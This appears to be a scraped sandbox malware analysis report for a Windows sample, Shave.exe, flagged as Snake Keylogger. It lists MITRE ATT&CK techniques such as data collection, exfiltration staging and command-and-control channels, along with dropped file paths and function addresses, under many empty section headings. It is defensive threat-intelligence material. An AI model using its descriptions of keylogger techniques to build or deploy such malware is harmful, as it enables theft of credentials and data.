Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shave.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dacryocystitis.Sku69

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Sipunculoidea.ude

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\moccasins.ved

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\sporostrote.dip

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
Shave.exe

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 6F97177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre